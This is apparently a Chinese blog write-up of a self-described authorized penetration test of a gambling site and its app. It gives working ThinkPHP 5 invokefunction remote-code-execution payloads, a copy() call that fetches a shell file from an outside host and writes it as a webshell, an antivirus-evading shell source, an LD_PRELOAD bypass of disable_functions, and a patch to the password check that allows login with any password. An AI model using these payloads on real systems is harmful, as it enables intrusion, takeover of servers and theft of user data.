提笔
声明: 本次为授权渗透
# 就下面这个站,说是某地一位**人员挪用大额公款赌博...... # 听说这哥们已经被制裁了一年多了? # 我就纳闷了,赌博有啥意思,小赌伤钱,大赌伤大钱,强赌管吃管住的
正题
现有材料:
· apk*1, 网址*1, vip10账户*1 (赌博那哥们的)
0x00 资产摸牌
# 这个前端最开始以为是个前后端分离的站,毕竟这种站遇到的百分之八十都是前后端分离的 # 后来找到一个神似的源码后,发现是tp3二开后魔改的,只不过路由改的比较离谱... # 前端碰壁,没有啥可利用的,就从App入手了,重点突破也在Apk这里
apk分析
#1 在apk中找到一个ip地址,而且在反编后的代码中搜索,发现该ip为App的api接口地址 用户的数据信息都是从这里获取的 #2 通过hunter.qianxin.com搜索 发现该地址的8300端口有跳转向/admin/public/login.html,根据目录推测为App的后台,如图:
0x01 后台
· 看跳转的路径类似ThinkPHP结构,尝试tp的几种框架特征后,请求后确定为TP框架
使用TP漏洞检测工具测试
· 提示同时存在TP5和TP3的漏洞,有点迷,就离谱
· 配置系统代理,使用BurpSuite抓包后使用tp5.*invokefunction漏洞执行命令并查看响应包
这竟然是TP的报错 ......
分析报错代码
#Payload: /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
# 提示index模块不存在,但是查看该TP版本为 TP 5.0.14,所以猜测该漏洞有可能会存在
重新构造payload
#根据自动跳转的/admin,重新构造payload为 /index.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() # 这个payload有个问题,通过call_user_func_array构造函数,在php7及以上版本里assert被禁掉了,所以在这些版本里命令执行漏洞不可行,或许有其他方式构造语句,但是我懒(●'◡'●) # 成功执行代码
# 直接连接蚁剑,这过程中遇到一些玄学问题,蚁剑、冰蝎...都连不上,可能是因为响应码为500吧 # 这种感觉,就好像剑就在我手边,可我就是摸不到一样 ? # 耗费我半个小时以后,使用copy函数成功给根目录写入shell copy("","目标shell") copy("http://www.xxx.xx/shell.txt","./shell.php") # 本次使用的 https://www.birdy02.com/46265.htm 的免杀shell
· Copy函数详见:https://www.runoob.com/php/func-filesystem-copy.html
disable_functions绕过
· 查看phpinfo中的disable_functions里,把所有执行命令的函数禁了,真狠啊
1. 尝试使用LD_PRELOAD绕过,不过php运行程序都不在默认目录里
2. 在对方文件夹里翻了翻,在 “/usr/local/php/bin/” 下找到了php运行程序,成功绕过
3. LD_PRELOAD的绕过方式是上传了一个.autproxy.php,将目标shell文件设置为.autproxy.php,配置与原shell一样连接即可,成功绕过,如图:
提权
· 略,拿到root权限
资产摸排
· 这服务器上搭了六个站,都是站库分离的,不过数据库在内网
登录后台
# 准备登录后台,结果后台密码数据库里的解不开 # 当初老师教TP的时候我偷懒了,没想到有一天我竟然会天天审TP !!! # 把源码脱下来审了一波,发现验证密码的时候用的 return 1 == 1 这种形式,这不就好办了
· 直接return true,不做比较,实现任意密码登录
成功登录后台 *1
# 有三个后台神似,就不发了,而且这三个后台还存在横向越权 ··· # 用户还挺多,过万了
成功登录后台 *2
·
懒得写了,交作业
补充
公众号文章地址: https://mp.weixin.qq.com/s/GzU_JE5SL-LTVc-L-FFh1A
# 站点搭配: CMS: ThinkCMF DB: MySQL Nginx + PHP
评论 (0)